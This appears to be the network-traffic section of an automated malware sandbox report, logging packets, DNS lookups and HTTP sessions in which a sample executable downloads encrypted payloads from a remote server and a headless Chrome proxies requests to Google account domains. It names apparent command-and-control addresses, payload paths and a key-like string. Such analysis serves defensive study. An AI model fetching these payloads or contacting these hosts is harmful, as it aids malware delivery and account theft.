Dec 27, 2024 09:09:14.708798885 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.708847046 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.708898067 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.709260941 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.709285021 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.709306955 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.710047960 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.710110903 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.710113049 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.710825920 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.710892916 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.710937977 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.711591959 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.711641073 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.711690903 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.712356091 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.712419987 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.712465048 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.713170052 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.713228941 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.713299036 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.713946104 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.713962078 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.713994980 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.714729071 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.714781046 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.714881897 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.715502024 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.715550900 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.715626001 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.716270924 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.716317892 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.716376066 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.717083931 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.717144966 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.717159033 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.717832088 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.717933893 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.718000889 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.718676090 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.718727112 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.718750954 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.719459057 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.719495058 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.719508886 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.720248938 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.720340967 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.720359087 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.721009970 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.721069098 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.721110106 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.721838951 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.721856117 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.721884012 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.722553015 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.722601891 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.722714901 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.723330975 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.723375082 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.749413013 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.749433994 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.749506950 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.749737978 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.749850035 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.750106096 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.750441074 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.750575066 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.750690937 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.751185894 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.751332045 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.751401901 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.752003908 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.752064943 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.752160072 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.752783060 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.752876043 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.752932072 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.753468037 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.753583908 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.753638029 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.754324913 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.754344940 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.754393101 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.755093098 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.755139112 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.755191088 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.755892992 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.755995035 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.756619930 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.756675959 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.756716013 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.757292986 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.757415056 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.757591963 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.757641077 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.758198023 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.758344889 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.758389950 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.759040117 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.759095907 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.759181976 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.759808064 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.759911060 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.759952068 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.760679007 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.760694027 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.760746002 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.761318922 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.761415005 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.762114048 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.762172937 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.762236118 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.762279987 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.762928963 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.763032913 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.763077974 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.763729095 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.763794899 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.764558077 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.764607906 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.764651060 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.764693022 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.765353918 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.765485048 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.766072989 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.766122103 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.766166925 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.766211033 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.766844988 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.766926050 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.767610073 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.767664909 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.767703056 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.767746925 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.768382072 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.768512964 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.769275904 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.769289017 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.769330025 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.904452085 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.904505014 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.904571056 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.904586077 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.904669046 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.904738903 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.905366898 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.905522108 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.905569077 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.906187057 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.906301975 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.906343937 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.906717062 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.906872034 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.906924009 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.907541037 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.907645941 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.907691002 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.908308983 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.908428907 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.908472061 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.909075975 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.909115076 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.909157991 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.909862041 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.909956932 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.910001040 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.910656929 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.910811901 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.910850048 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.911528111 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.911566973 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.911608934 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.912203074 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.912329912 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.912386894 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.913006067 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.913119078 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.913166046 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.913855076 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.913898945 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.913940907 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.914621115 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.914675951 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.914720058 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.915355921 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.915446043 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.915488958 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.916134119 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.916198015 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.916244030 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.916908026 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.917020082 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.917058945 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.917695045 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.917862892 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.917908907 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.918438911 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.918576956 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.918622017 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.919271946 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.919368029 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.919414997 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.920037031 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.920165062 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.920207024 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.920885086 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.920933962 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:14.920977116 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:14.921639919 CET	56711	49731	185.196.8.218	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 27, 2024 09:09:38.609080076 CET	192.168.2.4	1.1.1.1	0x471c	Standard query (0)	ipapi.co	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:09:41.224376917 CET	192.168.2.4	1.1.1.1	0x54cf	Standard query (0)	webhook.site	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:10:27.565627098 CET	192.168.2.4	1.1.1.1	0x819b	Standard query (0)	inet-ip.info	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 27, 2024 09:09:39.026994944 CET	1.1.1.1	192.168.2.4	0x471c	No error (0)	ipapi.co	104.26.8.44	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:09:39.026994944 CET	1.1.1.1	192.168.2.4	0x471c	No error (0)	ipapi.co	104.26.9.44	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:09:39.026994944 CET	1.1.1.1	192.168.2.4	0x471c	No error (0)	ipapi.co	172.67.69.226	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:09:41.362631083 CET	1.1.1.1	192.168.2.4	0x54cf	No error (0)	webhook.site	178.63.67.153	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:09:41.362631083 CET	1.1.1.1	192.168.2.4	0x54cf	No error (0)	webhook.site	178.63.67.106	A (IP address)	IN (0x0001)	false
Dec 27, 2024 09:10:28.531215906 CET	1.1.1.1	192.168.2.4	0x819b	No error (0)	inet-ip.info	157.7.208.157	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.196.8.218	56711	6848	C:\Users\user\Desktop\0A7XTINw3R.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:09:04.632111073 CET	171	OUT	GET /a1/b72322daf9643411de3678ba777cfbbf8fb602cd53962d142a5ca14ec0ba4c56.bin HTTP/1.1 Host: 185.196.8.218:56711 User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
Dec 27, 2024 09:09:06.020734072 CET	244	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 08:09:05 GMT Content-Type: application/octet-stream Content-Length: 32 Last-Modified: Fri, 27 Dec 2024 05:38:51 GMT Connection: keep-alive ETag: "676e3d6b-20" Accept-Ranges: bytes

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	185.196.8.218	56711	6848	C:\Users\user\Desktop\0A7XTINw3R.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:09:06.402302027 CET	171	OUT	GET /a1/65af90bd293a3ba613a791a39f8e4e3fa3ca523897fe948d6c889177d52f3071.bin HTTP/1.1 Host: 185.196.8.218:56711 User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
Dec 27, 2024 09:09:07.747102022 CET	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 08:09:07 GMT Content-Type: application/octet-stream Content-Length: 19088412 Last-Modified: Fri, 27 Dec 2024 05:37:13 GMT Connection: keep-alive ETag: "676e3d09-123441c" Accept-Ranges: bytes Data Raw: 36 67 e6 20 63 81 77 a3 a3 7f 5d bb 91 8b be 24 6e ce 7b cf b1 18 ec 4f 6f 87 b0 8e b2 2c 77 68 7a 3a 15 3a 59 17 79 5c 3d a6 73 e7 4b 27 1e 83 73 d9 18 18 66 37 bd a0 2c 15 24 a9 37 59 66 94 66 10 c8 6c b8 8d af 5e 19 5d ae c2 c0 15 f0 9c 10 4c b9 fc 53 51 67 7c cc e3 27 de da 04 a7 9f 37 99 e4 25 62 3b 69 c5 29 13 46 e5 9f e8 df 28 5d 40 88 a1 f6 d3 3d b8 9f a1 cf 14 84 3a 31 ff 2a 58 b6 74 79 a1 51 6a 0d 8a 0c 05 0d 4d 64 7e 62 35 96 aa 23 72 9e 19 7d 0c 03 63 0f 3e 21 bc ee bc 4f f5 32 15 fa 93 5f 53 47 b8 c4 01 93 67 bc f7 89 a0 17 61 cc 64 27 3b 40 a4 a2 18 c6 72 bb 1b c9 40 40 c1 70 4a 66 13 6f fd 61 1a 4c 2d 5c e5 87 29 62 8a 48 de 62 92 87 43 70 09 4c c4 91 a0 c0 e2 7b 38 fb 16 01 73 91 aa 00 d6 f7 25 24 59 85 cd b4 71 f9 db 81 71 75 92 b9 99 ec 79 12 ba ad 76 55 4a 5c 0e 7e a1 04 fc 3b 85 81 cf 34 70 14 6b 1c 33 b3 97 e1 e9 31 ad 7c 7b 91 24 80 ae c7 c6 d5 b1 73 7a e0 a9 05 60 7a 71 e9 3f 4a 9e 95 ee 2e 4f 6f df 98 14 ff 78 fc b7 9a 8e 1b c3 df 31 70 02 ee fe 98 ba 95 0f 2d f2 7d 12 98 af [TRUNCATED] Data Ascii: 6g cw]$n{Oo,whz::Yy\=sK'sf7,$7Yffl^]LSQg\|'7%b;i)F(]@=:1XtyQjMd~b5#r}c>!O2_SGgad';@r@@pJfoaL-\)bHbCpL{8s%$YqquyvUJ\~;4pk31\|{$sz`zq?J.Oox1p-}D[;r&Z.'N_\0aj7G<,vZ&a~uc2<GO/Js36C`NachOE{17[J3^iTHV)w;?5.myd1Zz/(w&d(Or5r /g1gP:\|'G;mFu8VQd}>-WM3]:y;oZND9`EK!t~0Q^3/p2OCoBMTwI]7_H~Irj}NhIs\|nH@UX`L\|Hh2UO2IB\iI.xJ@6]^cZAQfx}{9qU%4CMg3CU`MY1M}wV><;ZbjH#B>#a.0%9j!D bCqg8aAx]h?(YI`U3U W;L%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	185.196.8.218	56711	6848	C:\Users\user\Desktop\0A7XTINw3R.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:09:39.136542082 CET	171	OUT	GET /a3/d0cc0b58f9707a4d945510f307cc399ec54f96fc9737654d1562b46b0315a905.bin HTTP/1.1 Host: 185.196.8.218:56711 User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
Dec 27, 2024 09:09:40.528701067 CET	276	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 08:09:40 GMT Content-Type: application/octet-stream Content-Length: 32 Last-Modified: Tue, 24 Dec 2024 04:37:18 GMT Connection: keep-alive ETag: "676a3a7e-20" Accept-Ranges: bytes Data Raw: 76 54 59 71 47 68 79 76 34 62 42 71 6f 49 46 37 6b 6d 6e 52 58 54 6e 47 35 4d 78 4a 67 66 37 54 Data Ascii: vTYqGhyv4bBqoIF7kmnRXTnG5MxJgf7T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49740	185.196.8.218	56711	6848	C:\Users\user\Desktop\0A7XTINw3R.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:09:40.650929928 CET	171	OUT	GET /a3/9d499c8606d15383034043de70ce6921f1182c4547063bffbabfb96e53507d80.bin HTTP/1.1 Host: 185.196.8.218:56711 User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
Dec 27, 2024 09:09:42.046883106 CET	254	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 08:09:41 GMT Content-Type: application/octet-stream Content-Length: 10176540 Last-Modified: Tue, 24 Dec 2024 04:37:06 GMT Connection: keep-alive ETag: "676a3a72-9b481c" Accept-Ranges: bytes

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49747	45.150.223.100	65140	4476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:09:58.951515913 CET	258	OUT	CONNECT clientservices.googleapis.com:443 HTTP/1.1 Host: clientservices.googleapis.com:443 Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/117.0.0.0 Safari/537.36
Dec 27, 2024 09:10:00.020551920 CET	269	IN	HTTP/1.1 407 Proxy Authentication Required Date: Fri, 27 Dec 2024 08:09:59 GMT Content-Type: text/html;charset=utf-8 Content-Length: 28 Content-Language: en Proxy-Authenticate: Basic realm="Linksys EA6990-EK" Connection: keep-alive Data Raw: 53 74 69 6e 67 65 72 20 43 41 43 48 45 20 41 43 43 45 53 53 20 44 45 4e 49 45 44 0a Data Ascii: Stinger CACHE ACCESS DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49748	45.150.223.100	65140	4476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:09:59.091329098 CET	238	OUT	CONNECT clients2.google.com:443 HTTP/1.1 Host: clients2.google.com:443 Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/117.0.0.0 Safari/537.36
Dec 27, 2024 09:10:00.282835960 CET	269	IN	HTTP/1.1 407 Proxy Authentication Required Date: Fri, 27 Dec 2024 08:10:00 GMT Content-Type: text/html;charset=utf-8 Content-Length: 28 Content-Language: en Proxy-Authenticate: Basic realm="Linksys EA6990-EK" Connection: keep-alive Data Raw: 53 74 69 6e 67 65 72 20 43 41 43 48 45 20 41 43 43 45 53 53 20 44 45 4e 49 45 44 0a Data Ascii: Stinger CACHE ACCESS DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49749	45.150.223.100	65140	4476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:09:59.092580080 CET	238	OUT	CONNECT accounts.google.com:443 HTTP/1.1 Host: accounts.google.com:443 Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/117.0.0.0 Safari/537.36
Dec 27, 2024 09:10:00.191998959 CET	269	IN	HTTP/1.1 407 Proxy Authentication Required Date: Fri, 27 Dec 2024 08:10:00 GMT Content-Type: text/html;charset=utf-8 Content-Length: 28 Content-Language: en Proxy-Authenticate: Basic realm="Linksys EA6990-EK" Connection: keep-alive Data Raw: 53 74 69 6e 67 65 72 20 43 41 43 48 45 20 41 43 43 45 53 53 20 44 45 4e 49 45 44 0a Data Ascii: Stinger CACHE ACCESS DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49750	45.150.223.100	65140	4476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:09:59.309911013 CET	240	OUT	CONNECT myaccount.google.com:443 HTTP/1.1 Host: myaccount.google.com:443 Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/117.0.0.0 Safari/537.36
